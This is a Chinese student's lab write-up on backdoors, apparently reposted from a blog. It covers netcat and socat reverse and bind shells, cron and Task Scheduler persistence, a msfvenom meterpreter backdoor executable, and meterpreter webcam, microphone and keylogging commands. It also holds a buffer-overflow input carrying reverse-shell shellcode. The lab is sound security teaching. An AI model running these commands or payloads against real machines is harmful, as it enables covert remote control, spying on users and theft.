zoukankan      html  css  js  c++  java
  • 作业2

    20175103王伟泽 Exp2 后门原理与实践

    一、准备知识

    1.后门

    概念

    后门,本意是指一座建筑背面开设的门,通常比较隐蔽,为进出建筑的人提供方便和隐蔽。在信息安全领域,后门是指绕过安全控制而获取对程序或系统访问权的方法。后门的最主要目的就是方便以后再次秘密进入或者控制系统。
    在我的理解中,我认为后门正如其名,如果把计算机比作一个庭院,那么正门就是用户通过正当方式登录计算机获取相应合法权限的方式,而后门,则是不为主人所知的隐蔽通道,攻击者通过一些方法,如利用软件或程序自有的缺陷漏洞而制造后门,绕过计算机的安全检测,非法获取访问权,进行数据的非法访问或者窃取,进而甚至获得管理员权限,为其他非法行为打下基础。

    2)获取后门的一般方法

    • 编译器(危害较大,因为由有漏洞的编译器写出的程序都会受到影响)
    • 操作系统
    • 应用程序 (包括固件后门)
    • 专用后门程序 (远程执行指令)

    3)后门用途

    • 即使管理员通过改变所有密码之类的方法来提高安全性,仍然能再次侵入,使再次侵入被发现的可能性减至最低。
    • 大多数后门设法躲过日志,大多数情况下即使入侵者正在使用系统也无法显示他已在线。
    • 监视用户所有隐私
    • 监视用户所有行为
    • 完全控制用户主机

    2.实验所用工具

    NC/netcat

    netcat,是一个底层工具,它可以进行基本的TCP、UDP数据收发。
    一些相关的参数:
    -c 不断连接
    -d 后台执行
    -p 本地端口号
    -e 程序重定向
    -l 监听模式
    本次实验中,Linux系统是自带nc工具的,windows系统可以在课程附件中下载解压。

    二、实验内容

    实验前准备

    分别检查Kali与Windows的IP地址,关闭防火墙,查看是否可以ping通。
    Windows的IP地址为:192.168.1.102

    在kali虚拟机中使用ifconfig查看本机IP地址,获取Kali的IP地址为:192.168.1.109

    Kali可以ping通Windows

    Windows可以ping通Kali

    Kali与Windows均关闭防火墙。

    准备工作完成。

    实验内容

    实验一

    1)Windows获取Linux的shell

    在Windows的CMD中使用cd进入ncat文件夹,后输入指令ncat.exe -l -p 5521,对本机5521端口进行监听。

    在Linux中输入nc 192.168.1.102 5521 -e /bin/sh,使Linux主动与Windows的5521端口建立反弹连接。Windows成功监听到,可以在Windows中使用Linux的shell。

    2)Linux获取Windows的shell

    Linux输入nc -l -p 8888开始对端口8888监听,后Windows中输入ncat.exe -e cmd.exe 192.168.1.109 8888反弹连接Linux的8888端口。

    3)使用ncat来传输数据。

    使用ncat来实现Linux与Windows间的实时通信。
    Windows使用命令ncat.exe -l 5103对端口5103进行监听。

    Kali使用命令nc 192.168.1.102 5103反弹连接Windows。连接后可进行通信。

    4)使用ncat来实现Linux与Windows间数据的传输。

    Windows使用命令ncat.exe -l 5103 >jieshou.txt对端口5103进行监听,并把数据写入jieshou.txt

    Linux使用命令nc 192.168.1.102 5103 < fasong,将fasong中的内容通过端口5103传输给Windows。

    Windows成功接收到,并将数据写入文本中。

    5)有关MAC机器的因为设备的缺失,暂时无法做。

    6)使用netcat获取主机操作Shell,cron启动

    首先在Windows的cmd中输入ncat.exe -l -p 5103,对本机端口5103进行监听。
    在Linux中,使用指令crontab -e来编辑添加一个定时任务,这里由于是第一次使用,需要选择编辑器,我选择的是3。

    之后进入熟悉的编辑界面,点击i进入编辑模式,考虑到实验过程中的时间,我选择为每小时55分执行任务,所以在文本最下行添加指令55 * * * * /bin/netcat 192.168.1.102 5103 -e /bin/sh,该命令的含义为在每小时的55分钟使该机执行反弹连接Windows的5103端口的任务。

    使用:wq保存退出后,浏览检查内容是否正确。

    静静等待一段时间,等到55时,Windows成功收到连接。

    7)使用socat获取主机操作Shell, 任务计划启动

    首先在作业附件中下载socat,并放置在桌面。
    Windows中在菜单中打开计算机管理中的任务计划程序,点击创建任务,并填写名称。

    点击触发器,新建触发器,开始任务选为按预定计划,将开始时间设置后,勾选已启用,点击确定。

    点击操作,将操作设置为启动程序,然后浏览中找到socat路径,添加后在添加参数中添加命令tcp-listen:5103 exec:cmd.exe,pty,stderr,即把cmd.exe绑定到了端口5103,同时将cmd.exestderr重定向到stdout中。

    点击确定保存任务,可以查看到任务已存在。

    时间到后成功出现socat的cmd。不要关掉,打开Linux,在Linux中输入socat - tcp:192.168.1.102:5103,这里,-代表标准输入输出,第一个参数代表IP地址,第二个参数代表端口号,成功获取到Windows的shell。

    实验二

    MSF meterpreter号称“黑客瑞士军刀”,Meterpreter是Metasploit框架中的一个杀手锏,通常作为漏洞溢出后的攻击载荷使用,攻击载荷在触发漏洞后能够返回一个我们控制通道,例如利用远程过程带哦用RPC服务的一个漏洞,当漏洞被触发后,我们选择Meterpreter作为攻击载荷,就能够获得目标系统上的一个Meterpreter Shell连接。Meterpreter是Metasploit框架的一个扩展模块,可以调用Metasploit的一些功能,对目标系统进行更加深入的渗透,这些功能包括反追踪、纯内存工作模式、密码哈希值获取、特权提升、跳板攻击等。
    以下为一些常用命令。
    基础命令:

    sessions    #sessions –h 查看帮助
    sessions -i <ID值>  #进入会话   -k  杀死会话
    background  #将当前会话放置后台
    run  #执行已有的模块,输入run后按两下tab,列出已有的脚本
    info #查看已有模块信息
    getuid # 查看权限 
    getpid # 获取当前进程的pid
    sysinfo # 查看目标机系统信息
    ps # 查看当前活跃进程    kill <PID值> 杀死进程
    idletime #查看目标机闲置时间
    reboot / shutdown   #重启/关机
    shell #进入目标机cmd shell
    

    uictl开关键盘/鼠标:

    uictl [enable/disable] [keyboard/mouse/all]  #开启或禁止键盘/鼠标
    uictl disable mouse  #禁用鼠标
    uictl disable keyboard  #禁用键盘
    

    摄像头摄像头命令

    webcam_list  #查看摄像头
    webcam_snap   #通过摄像头拍照
    webcam_stream   #通过摄像头开启视频
    

    执行执行文件

    execute #在目标机中执行文件
    execute -H -i -f cmd.exe # 创建新进程cmd.exe,-H不可见,-i交互
    

    1)使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell

    在Kali中输入指令msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.109 LPORT=5103 -f exe > 20175103backdoor.exe,其中lHOST的IP地址为Kali即攻击机的IP地址,选定5103为端口,生成可执行文件。此处我第一次实验时出错了,经过网上查询得知,是因为我的Linux系统中bundler的版本不符合,需要1.17.3版本。

    使用命令gem install bundler:1.17.3重新下载1.17.3版本的bundler。

    重新开始,成功生成可执行文件。

    在Windows中执行指令ncat.exe -l 5103 > 20175103backdoor.exe,使其进入监听模式,准备接受文件。

    在Linux中输入nc 192.168.1.102 5103 < 20175103backdoor.exe,此处需要将文件发送给靶机,因此IP地址为靶机地址,成功接收。

    这里因为我没有提前关闭杀毒软件,导致程序无辜被删。

    关闭后重来一遍,成功获取后门软件。

    在Kali中输入msfconsole进入msf的控制界面。(此处有个建议是重新打开一个Linux终端来进行该操作,不要在根用户下进行,否则后续操作中保存的文件都会像我这样无法在文件系统中查看)

    输入use exploit/multi/handler进入监听模块,并设置payload
    输入set payload windows/meterpreter/reverse_tcp,使用和生成后门程序的payload
    输入set LHOST 192.168.1.109,此处为Linux的IP地址。
    输入set LPORT 5103指定端口5103
    以上操作在下面展示。
    设置完成后,输入指令exploit执行监听,并在Windows中cmd内打开可执行后门文件,成功。

    2)使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权

    • 在msf控制台中输入指令record_mic,来监听一段靶机的音频。
    • 在msf控制台中输入指令webcam_snap,来获取通过靶机摄像头拍摄的照片。
    • 在msf控制台中输入指令screenshot,获取截屏图片。
    • 在msf控制台中输入指令keyscan_start来开启记录键盘敲击内容,输入keyscan_dump来获取所记录的内容。
    • 在msf控制台中输入指令getuid,获取当前用户信息,输入指令getsystem来尝试进行提权操作,但是提权失败了。

      文件均存储于root文件夹中。

    实验三:可选加分项:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell

    这里我借鉴课代表20175121杨波同学的经验,自己尝试一遍。
    在实验前需要按实验一内容关闭地址随机化。
    首先下载好在课代表推荐的文件,并打开,将其中的机器代码复制。

    之后按照实验一中的步骤,找到shellcode的地址,我所找到的地址为0xffffd350。将机器码的开头加上该地址来生成输入文本20175103shi2。

    perl -e 'print "A" x 32;print"x50xd3xffxffx31xc0x31xdbx31xc9x31xd2x66xb8x67x01xb3x02xb1x01xcdx80x89xc3xb8x80xffxffxfex83xf0xffx50x66x68x11x5cx66x6ax02x89xe1xb2x10x31xc0x66xb8x6ax01xcdx80x85xc0x75x24x31xc9xb1x02x31xc0xb0x3fxcdx80x49x79xf9x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x31xc9x31xd2xb0x0bxcdx80xb3x01x31xc0xb0x01xcdx80"' > 20175103shi2
    


    打开另一个终端,使用命令msfconsole打开msf控制台,按下列步骤打开监听,等待连接。

    • use exploit/multi/handler
    • set payload linux/x86/shell_reverse_tcp
    • set LHOST 127.0.0.1 根据所下载机器代码选择IP地址
    • set LPORT 4444 根据所下载机器代码选择端口
    • show options
    • exploit


    在第一个终端输入指令(cat input1;cat) | ./pwn1,再次回车,在msf中成功获得shell。

    在这里第一次进行该实验时,msf中并没有获得shell,最开始我以为是地址计算错误,但是再次确认后,依然无法得到,这里我才想起之前只把地址随机化关闭,却并没有设置文件的堆栈可执行,这样才会出错。

    最终成功了!

    三、实验总结

    1.问题回答

    (1)例举你能想到的一个后门进入到你系统中的可能方式?

    通过u盘或者硬盘等实体媒介传输,当我插入硬件时,自动下载后门软件。

    (2)例举你知道的后门如何启动起来(win及linux)的方式?

    win中可以通过添加到自启动项,开机自行启动,或者与其他软件捆绑启动,也可以通过快捷方式欺骗用户点击启动。
    Linux中可以任务计划,定时启动,或者通过设置一些操作为触发器,如系统休眠等,自动触发后门。

    (3)Meterpreter有哪些给你映像深刻的功能?

    Meterpreter给我直观印象最深刻的就是它的强大的功能。只要它能将后门软件装入受害机,就能任意的、神不知鬼不觉地获取摄像头的权限进行偷拍、浏览文件、记录音频、甚至可以记录键盘敲击内容。

    (4)如何发现自己有系统有没有被安装后门?

    可以利用一些工具检查本机通信,是否有不正常的通信或者不常用的端口有连接。
    及时更新病毒库,下载正规杀毒软件定期查杀。
    一些莫名其妙出现的软件很可能是后门软件,也需要时刻注意。

    2.实验总结

    此次实验,让我更有一种对技术的渴望和害怕,在实验中我所遇到的各种问题层出不穷,大到步骤错误,小到系统更新,都需要我认认真真查阅分析,不得不说这次实验倾注了我的心血;但是同时,完成实验后,能通过实验步骤获取权限有着巨大的成就感。在此次实验中,我对后门更加了解,原理更加清晰,对它的作用也明白了更多。通过不断的动手,我不仅对知识更加掌握,更使自己解决问题的能力有所提高,同时,对技术也更加尊重更加敬畏。技术是一把双刃剑,一定要用在好的方面。

  • 相关阅读:
    在C#用HttpWebRequest中发送GET/HTTP/HTTPS请求
    微信公众平台开发(71)OAuth2.0网页授权
    IOS与安卓的远程调试
    解密和解压浏览器上加密的js文件
    appium 学习和环境搭建
    远程桌面工具 TeamViewer
    typescript 学习
    webstore 与 热编译的配置冲突
    CSS 温故而知新 断句失败
    自动化测试 python2.7 与 selenium 2 学习
  • 原文地址:https://www.cnblogs.com/20175103-wangweize/p/12512115.html
Copyright © 2011-2022 走看看